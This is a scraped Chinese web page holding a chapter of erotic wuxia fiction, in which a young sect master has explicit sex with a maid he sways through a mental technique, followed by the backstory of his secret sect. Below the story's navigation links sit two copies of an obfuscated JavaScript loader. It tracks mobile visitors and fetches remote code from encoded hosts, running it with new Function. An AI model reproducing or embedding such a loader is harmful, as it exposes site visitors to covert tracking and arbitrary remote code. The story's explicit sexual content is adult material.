“不好,我现在就要看!”我走到窗前,“刺啦”一声拉开了厚厚的帘子,现在正是下午五点多,已经西斜的太阳光顿时透过书房的落地窗,将整间屋子都铺上了金黄色,“你看,黄昏多美啊,这时候的阳光满是深情却又不浓烈炙人,就像是我的小兰兰般的可爱,所以,我才要在这时候好好疼你。”

“少爷……”听了我深情的话语,感受到我心中溢满的柔情,虹兰眼中的羞涩褪去了,勇敢的回视着我,眼中闪现出海样的深情,是啊,哪个怀春的少女不喜欢听心爱的人倾诉爱意呢?

“少爷……”虹兰只觉得一颗心好似飘在云端上,脚下的地板也好像变的软绵绵的,想说些什么,喉咙却如有什么东西堵上了,说不出话来……

“什么也别说了,来,兰兰……”

“嗯,”虹兰走到屋子中央,竟然舞了起来,随着曼妙无比的动作,衣服也不断的减少,不一会儿,绝美的侗体就完全浮现在我的眼底了。

在落日的余晖下,一丝不挂的虹兰展现出无与伦比的出尘的美,淡淡的阳光仿佛穿透了她美妙绝伦的身体,没有丝毫的阻隔,金色的直发、挺拔的双峰、圆润的小腹、修长的玉腿,任何溢美之词都无法形容此刻的她,全身上下似乎都在发出耀眼的光芒,令我简直不能逼视……

九天仙女下凡尘,人间何处阅仙颜啊!

我整个人呆住了,虽然虹兰的身体我已经是熟悉到不能再熟悉了,但在这样的情况下,竟然可以美至如斯!

“我现在才知道什么叫做冰肌雪骨,增一分则盈,减一分则亏,兰兰,现在就算是仙女看到了你,恐怕也羞的不敢现身了。”

“少爷,又来取笑兰兰了,兰兰又怎么有仙女那么美呢?就算再好再美,也是您的丫头啊!”

“哦是吗,我怎么感觉好像是在做梦啊!”我坐到靠墙的沙发上,打开两手作环抱状,“快到少爷的怀里来,让我摸摸,看我是不是真的有这么一个仙女似的小丫头。”随着说话的同时,我猛然默运神字诀,将滔天的爱欲一下子送入了虹兰的思海中。

“啊嗯……少爷……你坏……啊啊呜啊…”虹兰激荡的爱念本已经渐渐平复下来,但马上想到自己现在一丝不挂,毫无遮挡的任我观赏,羞意再又上涌,不可抑制,站着不动本已心思难平,激荡如潮了,再听得我说要自己送上门去给我摸摸,脑海中又是一瞬间毫无准备的被我充满爱欲的思潮猛的涌入,一时间就再也经受不住情欲之火的熬煎,动也不是,站也不是,只觉得浑身酥软无力,本已湿润之极的私处在这一瞬间竟然爱潮氾滥,汹涌澎湃,一发不可收拾,狂泄了出来……

这样的结果连我也没有预料到,看到虹兰再也无法站稳,就要软倒在地,我连忙纵前扶住了她,一手抱肩,一手捞住她的腿弯处,将她横抱了起来。

我知她体质非常敏感,脸皮又薄,稍加挑逗就无法承受,那娇羞无限之态实在是让我百看不厌,喜爱非常,但像这样还没碰到她就将她逗到泄身可还是破天荒的头一回,实是难以想像刚才的她是如何的情动似火了。

我抱着她坐到了沙发上,她泛红的娇躯尤在微微颤动着,雪腻柔美的双峰随着唿吸一耸一耸,诱人之极,平时紧闭的蜜穴此刻微微敞开,爱液仍然在缓缓流出,顺着大腿淌到我的手臂上,小穴上只有很稀疏的几根绒毛,根本遮掩不住里面的无限春光,我看的热血沸腾,难以抑制,头一低,覆盖上去吸吮起来。 “呜……嗯……呜啊……”她似乎还在神游天外,意识仍未回复清明,身躯却下意识的扭动起来,我的舌头在她的穴缝撩拨几下后,向上找到小肉芽,含住后在口中舔舐起来。

“啊……少爷……嗯……呜啊……我在哪里……怎么……好像没……没有身体了,哪里去了……好像在飞啊……好……好舒服啊少爷……”我看她好像又要再次泄身了,忙架起了她的小腿放在我的肩上,迅速的将我被裤子勒的生痛的宝贝释放出来,“扑”的一声,直捣黄龙,准确无比的攻陷了她的城池。

“啊啊啊……呜……呜……呜啊……”虹兰骤然门户全失,身体顿时绷的僵成一条直线,放在我肩上的小腿差点把我压开,我伸手把她两腿夹到胳膊下,挥军急进,根根到肉,每一次都撞击到她的花心,棒身被她的小穴夹紧厮磨,棒头却不时被花心一吸一吮,爽的我欲罢不能,慢不下来,也感到很快就到极限了。 这种疯狂的节奏保持了近一刻钟,快速进出怕是快有上千次,虹兰已经陷入疯狂中了,头发不停的乱甩,小手无意识的抠抓着沙发,脚趾头都向内缩成了一团,口中发出前所未有的响亮的叫床声,要不是我所有的房间都有良好的隔音效果,怕是整座公寓都可听闻了。

“啊……”伴随着最后一声哼叫,虹兰终于停止不动了,我只觉得她的花径中不住的收缩律动,一波一波的好似惊涛拍岸,同时深处花心中一股激流涌出,尽数浇灌在我的长枪顶端上,夹带着丝丝清凉的感觉,跟枪身所处的火热截然不同,一时舒爽难言,我也吼叫出声,使尽浑身之力,将活塞运动的速度提升到所能达到的极限,一会儿之后,就再也抑制不住发射的冲动,将亿万的小问非尽数的送进虹兰的桃源中……

过了不知多久,晚饭时间都快过了,直到打扫丫头巧云上来叫门,虹兰才懂得起来为自己和我整理衣服,收拾战场,并将我的宝贝舔舐干净清爽。看到她略有不便的动作,红肿发热的小穴,我不禁感到歉意:“兰兰,还疼吗?是我太粗暴了。”

“和少爷给的快乐比起来,这点疼算什么?刚才真是好美啊,是兰兰不敢想象的美,以前少爷太怜惜兰兰了……”

“哦,以前的不好吗?原来我的小兰兰喜好被狠狠的干才觉得爽啊,那好,我们再来一次更猛烈的。”

“啊……”虹兰一听,吓的飞快的跑开,“少爷,不要了,再来我就连走路都办不到了,兰兰也不是说以前的不好,只是这次真的好特别嘛!”

“好吧,饶了你了。”我笑着牵了她的手,“咱们吃饭去,小歌儿也该出来了吧?”

“她是下午一点半进房间里去的,应该出来了,可能在楼下等我们下去吃饭呢!”虹兰跟着我出了书房,说道。

“少爷,兰姐,小歌姐姐还没从她的房间里出来呢!”巧云在后面接着话头说道。她还只有十五岁,长的娇俏可爱,十分讨人喜欢。

“啊,怎么还没出来,现在都过六点半了,不会是练功出了什么岔子吧?”我和虹兰交换了一下眼色,都从对方眼里看到一丝担忧。

“兰兰,我们快去看看。”我加快脚步,向晨歌的房间走去。

“嗯。”虹兰也有些焦急起来。

“少爷,兰姐,有什么不对吗?是小歌姐姐有什么事吗?”晨歌跟她年纪最是相近,相互之间很处的来,巧云看出我们脸色不对,顿时焦急起来。

我的这些各地负责打扫管理房子的丫头也都不是普通人,算起来都可以说是斩奸门的门人,她们都是斩奸门原来门中骨干的后人。

清朝末年,中国内忧外患,列强环伺,国之将亡。在这种形势下,江湖中也是正义沦亡,忠义无存,群魔乱舞,险恶之极。

江湖中人有为非做歹、为恶一方的;也有依仗满清、残害生灵的;还有妖术邪行、迷惑众生的;更有奴颜婢膝、为虎做伥的。斩奸门作为一个以斩奸除魔为己任的江湖帮派,自然成了这些江湖宵小之辈的眼中钉,肉中刺,无不想除之而后快。虽然门中不乏高手,但无奈人数有限,有道是好汉架不住人多,双拳敌不过四腿,顿时岌岌可危。

鉴于此,当时斩奸门第三十六代门主,也就是我的太爷爷杨道清知道在这样的情况下,如不加以变通,实在是很难生存的,所以他当机立断,公告江湖,宣布解散了斩奸门。

但实际上却当然不是如此,而是将斩奸门由明转暗,由帮派管理改为家族式管理而已。能如此顺利的做出这样的改变,也是由于斩奸门一直以来就是个神秘的帮派,虽然立足于江湖,但不招收不知背景的人,入得门来的人多是门中弟子的亲属或关系密切之人,多年来门下八堂,护门四使已经大部分各由这十二家的人组成,所以,做出此等变化实是顺理成章,方便之极。

就这样,斩奸门得以保存实力,完好无损的度过难关,发展至今。凭着雄厚的财力,又是能人辈出,改制后的门下十二家也都得到了巨大的发展,成为各行各业中的翘楚,还有的成为巨商大贾,政界巨擎,今日的斩奸门虽然好似籍籍无名,但实际上却更势大难测了。

在平时,如没有门主的召见,为了不暴露身份,十二家各自一般也不会有所接触,到了我来,召见他们就更少了,很多门下的家主也是只在我十六岁接任门主的时候见过。

只是每隔几年,各家之主都会挑出家中一两个优秀的弟子,送给门主直接使唤,这也就是我各地这些丫头的由来了。也有的家主送来男弟子的,但都被我回绝了,因为我生性喜欢独来独往,不喜欢被人跟着,美女还好点,男人嘛,就免了吧,要让这些优秀的弟子来当门卫也确实是浪费了。拒绝了一两次后,各家家主也就了解了我的脾性了,以后送来的就都是些女弟子了。好在我各地的房产众多,也还安排的下。

各家所练武功虽然不是隐神诀,但皆是脱胎自隐神诀而来,也是精妙绝伦的神功,修炼有成后也能获得隐神诀五层以下的益处,并且对比起真正的隐神诀,也更加容易修炼,更容易有所成就。由于是衍生于隐神诀的关系,重点在精神方面的修炼,修炼者天生就会对掌握了精神修炼最高法门的神字诀的斩奸门门主怀着无比的忠贞与服从心,这也是为什么在这样宽松的领导下,历经多年也还能保持门下各家忠心的原因了。

(第二章完 待续)


上一篇:上课玩弄处女

下一篇:台北午后


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};